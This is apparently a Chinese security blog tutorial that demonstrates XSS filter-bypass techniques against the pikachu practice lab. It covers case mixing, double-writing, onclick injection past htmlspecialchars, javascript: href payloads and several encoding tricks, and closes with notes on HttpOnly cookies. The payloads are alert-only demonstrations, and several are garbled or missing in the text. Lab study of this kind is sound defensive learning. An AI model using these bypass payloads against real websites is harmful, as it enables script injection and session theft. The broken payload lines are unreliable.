本次博客以pikachu靶场为例,需要安装靶场可以参考以下博客(都包含工具,镜像下载地址)
请参考以下博客,包含资源下载地址(若已安装请忽略)
【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)-CSDN博客【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)https://blog.csdn.net/m0_67844671/article/details/133609717?spm=1001.2014.3001.5502
请参考以下博客,包含资源下载地址(若已安装请忽略)
【网路安全 --- win2003安装】 windows server 2003 详细安装过程(提供镜像资源)_网络安全_Aini的博客-CSDN博客【网路安全 --- win2003安装】 windows server 2003 详细安装过程(提供镜像资源)https://blog.csdn.net/m0_67844671/article/details/133675835?spm=1001.2014.3001.5502
请参考以下博客,包含资源下载地址(若已安装请忽略)
【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Aini的博客-CSDN博客【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502
请参考以下博客,包含资源下载地址(若已安装请忽略)
【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置-CSDN博客【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置https://blog.csdn.net/m0_67844671/article/details/133843910?spm=1001.2014.3001.5502
前端绕过很简单,因为前端浏览器代码是可以直接修改的,或者抓包以后可以修改数据包的,所以前端绕过直接抓包改一改数据包即可
防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。比如我们看看代码文件
比如打来pikachu靶场源代码,看XSS_01.php文件
发现通过正则对script字母进行了替换,这样我们就能把我们的script标签改为大写的形式SCRIPT
比如,先用正常的payload试一下,比如下面这个
//再看pikachu,
'">
// 被过滤了:没有弹框效果,
按回车发送请求以后没有任何效果,发现被过滤了
所以我们可以试一下大小写绕过
// 绕过:
'">
发现有弹框了,所以可以试一试大小写绕过
上面讲解的知识思路,只是用了一个script标签演示了,或者别人不用script标签,用什么img、iframe标签之类的都可以尝试用大小写混写绕过
后台对输入的内容进行替换,采用拼拼凑的输入方法。
比如后台对'script'标签整体替换成了空字符串,如如下代码
比如 替换以后就变成了<>alert(123)>
那我们可以双写绕过比如:
'">
ript>alert('你打篮球像jaden')ipt> 这样以后script标签整体会被替换成空字符串,则前面的sc和后面的ript刚好拼接成了正确的标签
我没找到恰当的靶场例子,原理就差不多,也是一种思路
php里面的这个htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体,这个就很厉害了。
// 预定义的字符是:这就是我们学到的html编码
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
// 导致你提交的script标签再输出的时候变成了
<script>
// 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
// 可用的quotestyle类型:
// ENT_COMPAT - 默认。仅编码双引号,也就是默认情况下不对单引号进行处理
// ENT_QUOTES - 编码双引号和单引号
// ENT_NOQUOTES - 不编码任何引号
发现基本的payload过不去了
我们看一看后端代码
发现用了htmlspecialchars()函数,而且默认只编码双引号
所以可使用以下语句绕过
q' οnclick='alert(111)'
发现是a标签,那么尝试构造一个onclick事件
输入payload以后回车,发现成功构造了一个a标签的onclick事件,点击看看
再看03的代码,改进了,将单引号也干掉了。我们再来试试刚才的代码,发现双引号,单引号都编码了
试一试刚才的payload
q' οnclick='alert(111)'
结果如下,而且点击以后也没用
接下来就看看xss之href绕过: javascript:alert(1111)
## 看一下编码处理:
javascript:alert(1111) # 正常
javascript:alert('aini') # 正常
javascript:alert(/aini/) # 正常
输入以下payload,点击submit
点击以后,可以看到弹框
下面两个自己试一下把,也是可以的
javascript:alert(1111) # 正常
javascript:alert('aini') # 正常
javascript:alert(/aini/) # 正常
# 对alert中的内容进行unicode编码,也就是所谓的js编码
javascript:alert(\u0031\u0031\u0031\u0031) #不需要引号的数字弹框时,编码之后不能弹框
javascript:alert(/\u006a\u0061\u0064\u0065\u006e/) #外层是/的话,内容不能正常解析,但是可以弹框
javascript:alert('\u006a\u0061\u0064\u0065\u006e') #外层是引号的话,内容也可以正常解析,也没有弹框
我们就试一下中间的把
javascript:alert(/\u006a\u0061\u0064\u0065\u006e/) #外层是/的话,内容不能正常解析,但是可以弹框
看到如下结果,其他两个自己试一下
# 对alert中的内容进行html实体编码(ascii十进制编码)+url编码
javascript:alert(%26%2349%3B%26%2349%3B%26%2349%3B%26%2349%3B) # 不需要引号的数字弹框时,编码之后不能弹框
javascript:alert(/%26%23106%3B%26%2397%3B%26%23100%3B%26%23101%3B%26%23110%3B/) # 内容不能解析,但是有弹框
javascript:alert('%26%23106%3B%26%2397%3B%26%23100%3B%26%23101%3B%26%23110%3B') # 内容不能解析,也没有弹框
# 对整体进行html实体编码(ascii十进制编码)+url编码,不能解析
%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3
B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101
%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2349%3B%26%2349%3B%26%2349%
3B%26%2341%3B
# 对alert进行unicode编码 #可以解析执行
javascript:\u0061\u006c\u0065\u0072\u0074(1111)
# 对alert进行unicode编码+url编码 #可以解析执行
javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(1111)
#对javascript进行unicode编码+url编码 #不能解析执行
%5Cu006a%5Cu0061%5Cu0076%5Cu0061%5Cu0073%5Cu0063%5Cu0072%5Cu0069%5Cu0070%5Cu0074:alert(1111)
# 对javascript进行unicode编码+url编码,不能解析javascript:alert(1111) # 直接编码
## 不行解析
%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3
B%26%23105%3B%26%23112%3B%26%23116%3B:alert(1111)
我就试一试一个
# 对alert进行unicode编码 #可以解析执行
javascript:\u0061\u006c\u0065\u0072\u0074(1111)
发现也是可以的
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的,所以需要研究浏览器到底能够将哪些编码数据能够正常解码显示),大家理解思路即可。到底浏览器能不能解析,谁也不能保准,因为浏览器也一直在升级,解析规则可能会发生变化。
以下是编码的思路
比如对alert内容进行过滤了,那么我们可以使用编码,如上面所说的,这是一个unicode编码
# 对alert中的内容进行unicode编码,也就是所谓的js编码
javascript:alert(\u0031\u0031\u0031\u0031) #不需要引号的数字弹框时,编码之后不能弹框
javascript:alert(/\u006a\u0061\u0064\u0065\u006e/) #外层是/的话,内容不能正常解析,但是可以弹框
javascript:alert('\u006a\u0061\u0064\u0065\u006e') #外层是引号的话,内容也可以正常解析,也没有弹框
html实体编码(HTML解析器)十进制; 或者十六进制;
JS编码(JS解析器) \u00十六进制,也就是unicode编码
html相关的几种编码方式:
1、html实体编码
--> <img src=# onerror="alert('jaden')"/>
2、使用十进制的ASCLL编码: 格式:以符号开头,分号;结尾
在线工具:
http://tools.gree020.cn/ascii/
https://tool.chinaz.com/tools/unicode.aspx
注意,作为属性值的时候,外层的双引号不要编码。src=,属性和等于号也不要编码因为会破坏标签属性结构。
3、unicode编码
、、\u 都可以用来表示一串 unicode 编码,unicode编码底层还是用二进制来存储的,显示一般用16进制来表示。
\u开头和开头是一样的都是16进制,只是unicode字符的不同写法,则是unicode字符的10进制的写法。
\u形式:浏览器无法解析
形式:浏览器可解析
我宿便输入了aini提交了
提交以后没什么反应,查看源代码发旋如下代码
构建xss攻击代码, 前面的代码被 闭合了,后面我写了新的script标签内容
1111';
// 闭合前面的script标签
输入payload回车以后发现过去了
我们看看源代码吧,源代码成了这样
所以,前端代码还是不靠谱的,总是可以注入,因为可以构造。
httponly属性只能禁止浏览器通过document.cookie获取cookie,而不能有效阻止xss的发生
xss攻击手段获取cookie。
HttpOnly是包含在http响应头Set-Cookie里面的一个附加的标识,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话),大多数XSS攻击都是针对会话cookie的盗窃。后端服务器可以通过在其创建的cookie上设置HttpOnly标志来帮助缓解此问题,这表明该cookie在客户端上不可访问。如果支持HttpOnly的浏览器检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取该cookie,则浏览器将返回一个空字符串作为结果。这会通过阻止恶意代码(通常是XSS)将数据发送到攻击者的网站来使攻击失败。
如果HTTP响应标头中包含HttpOnly标志(可选),客户端脚本将无法访问cookie(如果浏览器支持该标志的话)。因此即使客户端存在跨站点脚本(XSS)漏洞,浏览器也不会将Cookie透露给第三方。但是如果浏览器不支持HttpOnly,并且后端服务器设置了HttpOnly cookie,浏览器也会忽略HttpOnly标志,从而创建传统的,脚本可访问的cookie。那么该cookie(通常是会话cookie)容易受到XSS攻击。这里大家要注意一个问题
httponly不是防止xss攻击的,而是防止xss攻击代码中的js代码在浏览器上获取cookie信息。
各语言设置cookie的httponly 的方式
java
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
C#
HttpCookie myCookie = new HttpCookie("myCookie"); myCookie.HttpOnly = true;
Response.AppendCookie(myCookie);PHP4
setcookie('ant[uname]',$_POST['username'],time()+3600,NULL,NULL,NULL,true);
绕过手法就讲这么多。感兴趣可以自己查找资料,了解更多